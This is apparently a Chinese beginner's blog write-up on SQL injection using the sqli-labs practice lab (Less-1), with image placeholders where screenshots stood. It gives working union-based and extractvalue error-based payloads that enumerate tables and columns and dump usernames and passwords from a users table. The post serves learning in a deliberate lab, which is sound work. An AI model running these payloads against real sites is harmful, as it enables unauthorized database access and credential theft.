sql注入学习(入门)

主要借助sqllibs 学习了一下sql注入的大致原理。
sql大致流程都是这样(没试过盲注)
爆库名(通常不需要知道,可以直接调用database()函数),爆表名,爆列名,最后爆数据
所以按照步骤来写sql语句:
爆表名
select group_concat(table_name)
from information_schema.tables
where table_schema=database()
爆列名
select group_concat(column_name)
from information_schema.columns
where table_name=‘你想要查询的表名’
爆数据
select group_concat(‘你爆出的列名’)
from ‘你要查询的表’

在知道了大致流程后,我们所需要做的,就是针对服务端的防护,运用不同的绕过方式。
在非盲注的情况下
less-1(存在回显)
源码分析
在这里插入图片描述
存在单引号字符注入
1)union
使用payload: -1’ and 1=1 --+判断出存在单引号字符型注入漏洞。
在这里插入图片描述
爆表名 -1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
在这里插入图片描述
爆列名 -1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述
爆数据 -1’ union select 1,2,group_concat(username,0x3a,password) from users --+
在这里插入图片描述
2)报错型
使用extractvalue模板
-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+
在这里插入图片描述
-1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns%20 where table_name=‘users’%20%20 limit 1,1)))–+
因为extractvalue限定了输出字符数量和不能超过一行,所以我们可以通过limit逐个将列名输出
在这里插入图片描述
-1’ and extractvalue(1,concat(0x7e,(select password from users where username=‘admin’ )))–+
在这里插入图片描述
盲注,主要基于bool和基于时间。
以后有时间再补充吧~~

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值